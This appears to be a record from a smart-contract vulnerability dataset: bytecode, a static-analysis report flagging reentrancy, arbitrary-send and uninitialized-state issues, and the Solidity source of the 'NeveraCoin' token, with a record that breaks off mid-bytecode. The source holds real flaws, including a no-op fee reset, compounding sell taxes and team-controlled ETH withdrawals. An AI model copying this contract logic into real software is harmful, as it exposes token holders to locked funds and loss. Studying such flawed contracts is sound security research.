fffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b85600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081156116225760045460648487611551919061237a565b61155b91906121d8565b61156591906121d8565b9250828561157391906123d4565b945082600d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546115c491906123d4565b9250508190555082600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461161a9190612182565b925050819055505b84600d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461167191906123d4565b9250508190555084600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546116c79190612182565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8760405161172b91906120b8565b60405180910390a3505050505b505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600060028261181891906121d8565b90506000479050611829823061184a565b6000814761183791906123d4565b9050611844838230611aaa565b50505050565b6000600267ffffffffffffffff811115611867576118666125c6565b5b6040519080825280602002602001820160405280156118955781602001602082028036833780820191505090505b50905030816000815181106118ad576118ac612597565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561194f57600080fd5b505afa158015611963573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119879190611c26565b8160018151811061199b5761199a612597565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611a0230600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685610bba565b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601442611a539190612182565b6040518663ffffffff1660e01b8152600401611a739594939291906120d3565b600060405180830381600087803b158015611a8d57600080fd5b505af1158015611aa1573d6000803e3d6000fd5b50505050505050565b611ad730600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685610bba565b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308660008087601442611b2a9190612182565b6040518863ffffffff1660e01b8152600401611b4b96959493929190611f7f565b6060604051808303818588803b158015611b6457600080fd5b505af1158015611b78573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611b9d9190611d53565b505050505050565b600081359050611bb48161272e565b92915050565b600081519050611bc98161272e565b92915050565b600081359050611bde81612745565b92915050565b600081519050611bf381612745565b92915050565b600060208284031215611c0f57611c0e6125f5565b5b6000611c1d84828501611ba5565b91505092915050565b600060208284031215611c3c57611c3b6125f5565b5b6000611c4a84828501611bba565b91505092915050565b60008060408385031215611c6a57611c696125f5565b5b6000611c7885828601611ba5565b9250506020611c8985828601611ba5565b9150509250929050565b600080600060608486031215611cac57611cab6125f5565b5b6000611cba86828701611ba5565b9350506020611ccb86828701611ba5565b9250506040611cdc86828701611bcf565b9150509250925092565b60008060408385031215611cfd57611cfc6125f5565b5b6000611d0b85828601611ba5565b9250506020611d1c85828601611bcf565b9150509250929050565b600060208284031215611d3c57611d3b6125f5565b5b6000611d4a84828501611bcf565b91505092915050565b600080600060608486031215611d6c57611d6b6125f5565b5b6000611d7a86828701611be4565b9350506020611d8b86828701611be4565b9250506040611d9c86828701611be4565b9150509250925092565b6000611db28383611dbe565b60208301905092915050565b611dc781612408565b82525050565b611dd681612408565b82525050565b6000611de78261213d565b611df18185612160565b9350611dfc8361212d565b8060005b83811015611e2d578151611e148882611da6565b9750611e1f83612153565b925050600181019050611e00565b5085935050505092915050565b611e438161241a565b82525050565b611e528161245d565b82525050565b611e618161246f565b82525050565b6000611e7282612148565b611e7c8185612171565b9350611e8c8185602086016124a5565b611e95816125fa565b840191505092915050565b6000611ead602683612171565b9150611eb882612618565b604082019050919050565b6000611ed0602683612171565b9150611edb82612667565b604082019050919050565b6000611ef3602083612171565b9150611efe826126b6565b602082019050919050565b6000611f16602483612171565b9150611f21826126df565b604082019050919050565b611f3581612446565b82525050565b6000602082019050611f506000830184611dcd565b92915050565b6000604082019050611f6b6000830185611dcd565b611f786020830184611dcd565b9392505050565b600060c082019050611f946000830189611dcd565b611fa16020830188611f2c565b611fae6040830187611e58565b611fbb6060830186611e58565b611fc86080830185611dcd565b611fd560a0830184611f2c565b979650505050505050565b6000602082019050611ff56000830184611e3a565b92915050565b60006020820190506120106000830184611e49565b92915050565b600060208201905081810360008301526120308184611e67565b905092915050565b6000602082019050818103600083015261205181611ea0565b9050919050565b6000602082019050818103600083015261207181611ec3565b9050919050565b6000602082019050818103600083015261209181611ee6565b9050919050565b600060208201905081810360008301526120b181611f09565b9050919050565b60006020820190506120cd6000830184611f2c565b92915050565b600060a0820190506120e86000830188611f2c565b6120f56020830187611e58565b81810360408301526121078186611ddc565b90506121166060830185611dcd565b6121236080830184611f2c565b9695505050505050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061218d82612446565b915061219883612446565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156121cd576121cc61250a565b5b828201905092915050565b60006121e382612446565b91506121ee83612446565b9250826121fe576121fd612539565b5b828204905092915050565b6000808291508390505b60018511156122535780860481111561222f5761222e61250a565b5b600185161561223e5780820291505b808102905061224c8561260b565b9450612213565b94509492505050565b600061226782612446565b915061227283612450565b925061229f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846122a7565b905092915050565b6000826122b75760019050612373565b816122c55760009050612373565b81600181146122db57600281146122e557612314565b6001915050612373565b60ff8411156122f7576122f661250a565b5b8360020a91508482111561230e5761230d61250a565b5b50612373565b5060208310610133831016604e8410600b84101617156123495782820a9050838111156123445761234361250a565b5b612373565b6123568484846001612209565b9250905081840481111561236d5761236c61250a565b5b81810290505b9392505050565b600061238582612446565b915061239083612446565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156123c9576123c861250a565b5b828202905092915050565b60006123df82612446565b91506123ea83612446565b9250828210156123fd576123fc61250a565b5b828203905092915050565b600061241382612426565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061246882612481565b9050919050565b600061247a82612446565b9050919050565b600061248c82612493565b9050919050565b600061249e82612426565b9050919050565b60005b838110156124c35780820151818401526020810190506124a8565b838111156124d2576000848401525b50505050565b600060028204905060018216806124f057607f821691505b6020821081141561250457612503612568565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f5472616e7366657220616d6f756e742065786365656473206d6178696d756d2060008201527f616d6f756e740000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61273781612408565b811461274257600080fd5b50565b61274e81612446565b811461275957600080fd5b5056fea2646970667358221220afb6daf7903360ddc65aa6a9e001a9f87796684e8611a2eb0e3d6e66593580e964736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 2,428 |
0x179a18f9a0be611925cc2937900c09206032f434
|
/**
*Submitted for verification at Etherscan.io on 2021-06-10
*/
/**
https://t.me/NeveraCoin
http://neveracoin.com/
https://twitter.com/CoinNevera
NewEra taking crypto world by storm.
With a dynamic sell limit based on price impact and increasing sell cooldowns and redistribution taxes on consecutive sells, Nevera was designed to reward holders and discourage dumping.
1. Buy limit and cooldown timer on buys to make sure no automated bots have a chance to snipe big portions of the pool.
2. No Team & Marketing wallet. 100% of the tokens will come on the market for trade.
3. No presale wallets that can dump on the community.
Token Information
1. 1,000,000,000,000 Total Supply
3. Developer provides LP
4. Fair launch for everyone!
5. 0,3% transaction limit on launch
6. Buy limit lifted after launch
7. Sells limited to 3% of the Liquidity Pool, <2.9% price impact
8. Sell cooldown increases on consecutive sells, 4 sells within a 24 hours period are allowed
9. 2% redistribution to holders on all buys
10. 7% redistribution to holders on the first sell, increases 2x, 3x, 4x on consecutive sells
11. 5-6% developer fee split within the team
SPDX-License-Identifier: Mines™®©
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract NeveraCoin is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"NeveraCoin";
string private constant _symbol = "NVC";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 7;
uint256 private _teamFee = 5;
mapping(address => bool) private bots;
mapping(address => uint256) private buycooldown;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 7;
_teamFee = 5;
}
function setFee(uint256 multiplier) private {
_taxFee = _taxFee * multiplier;
if (multiplier > 1) {
_teamFee = 10;
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) {
require(tradingOpen);
require(amount <= _maxTxAmount);
require(buycooldown[to] < block.timestamp);
buycooldown[to] = block.timestamp + (30 seconds);
_teamFee = 6;
_taxFee = 2;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount);
require(sellcooldown[from] < block.timestamp);
if(firstsell[from] + (1 days) < block.timestamp){
sellnumber[from] = 0;
}
if (sellnumber[from] == 0) {
sellnumber[from]++;
firstsell[from] = block.timestamp;
sellcooldown[from] = block.timestamp + (1 hours);
}
else if (sellnumber[from] == 1) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (2 hours);
}
else if (sellnumber[from] == 2) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (6 hours);
}
else if (sellnumber[from] == 3) {
sellnumber[from]++;
sellcooldown[from] = firstsell[from] + (1 days);
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
setFee(sellnumber[from]);
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() public onlyOwner {
require(liquidityAdded);
tradingOpen = true;
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
liquidityAdded = true;
_maxTxAmount = 3000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd8014610330578063c9567bf914610347578063d543dbeb1461035e578063dd62ed3e14610387578063e8078d94146103c457610109565b8063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8578063a9059cbb146102f357610109565b8063313ce567116100d1578063313ce567146101de5780635932ead1146102095780636fc3eaec1461023257806370a082311461024957610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103db565b6040516101309190613213565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612d9a565b610418565b60405161016d91906131f8565b60405180910390f35b34801561018257600080fd5b5061018b610436565b6040516101989190613395565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612d4b565b610447565b6040516101d591906131f8565b60405180910390f35b3480156101ea57600080fd5b506101f3610520565b604051610200919061340a565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612dd6565b610529565b005b34801561023e57600080fd5b506102476105db565b005b34801561025557600080fd5b50610270600480360381019061026b9190612cbd565b61064d565b60405161027d9190613395565b60405180910390f35b34801561029257600080fd5b5061029b61069e565b005b3480156102a957600080fd5b506102b26107f1565b6040516102bf919061312a565b60405180910390f35b3480156102d457600080fd5b506102dd61081a565b6040516102ea9190613213565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190612d9a565b610857565b60405161032791906131f8565b60405180910390f35b34801561033c57600080fd5b50610345610875565b005b34801561035357600080fd5b5061035c6108ef565b005b34801561036a57600080fd5b5061038560048036038101906103809190612e28565b6109ba565b005b34801561039357600080fd5b506103ae60048036038101906103a99190612d0f565b610b03565b6040516103bb9190613395565b60405180910390f35b3480156103d057600080fd5b506103d9610b8a565b005b60606040518060400160405280600a81526020017f4e6576657261436f696e00000000000000000000000000000000000000000000815250905090565b600061042c610425611096565b848461109e565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610454848484611269565b61051584610460611096565b610510856040518060600160405280602881526020016139f460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c6611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120399092919063ffffffff16565b61109e565b600190509392505050565b60006009905090565b610531611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b5906132f5565b60405180910390fd5b80601260186101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661061c611096565b73ffffffffffffffffffffffffffffffffffffffff161461063c57600080fd5b600047905061064a8161209d565b50565b6000610697600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612198565b9050919050565b6106a6611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a906132f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4e56430000000000000000000000000000000000000000000000000000000000815250905090565b600061086b610864611096565b8484611269565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b6611096565b73ffffffffffffffffffffffffffffffffffffffff16146108d657600080fd5b60006108e13061064d565b90506108ec81612206565b50565b6108f7611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b906132f5565b60405180910390fd5b601260159054906101000a900460ff1661099d57600080fd5b6001601260146101000a81548160ff021916908315150217905550565b6109c2611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906132f5565b60405180910390fd5b60008111610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a89906132b5565b60405180910390fd5b610ac16064610ab383683635c9adc5dea0000061250090919063ffffffff16565b61257b90919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601354604051610af89190613395565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b92611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c16906132f5565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610caf30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061109e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cf557600080fd5b505afa158015610d09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2d9190612ce6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8f57600080fd5b505afa158015610da3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc79190612ce6565b6040518363ffffffff1660e01b8152600401610de4929190613145565b602060405180830381600087803b158015610dfe57600080fd5b505af1158015610e12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e369190612ce6565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ebf3061064d565b600080610eca6107f1565b426040518863ffffffff1660e01b8152600401610eec96959493929190613197565b6060604051808303818588803b158015610f0557600080fd5b505af1158015610f19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f3e9190612e51565b5050506001601260176101000a81548160ff0219169083151502179055506001601260186101000a81548160ff0219169083151502179055506001601260156101000a81548160ff0219169083151502179055506729a2241af62c0000601381905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161104092919061316e565b602060405180830381600087803b15801561105a57600080fd5b505af115801561106e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110929190612dff565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561110e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110590613355565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117590613275565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b22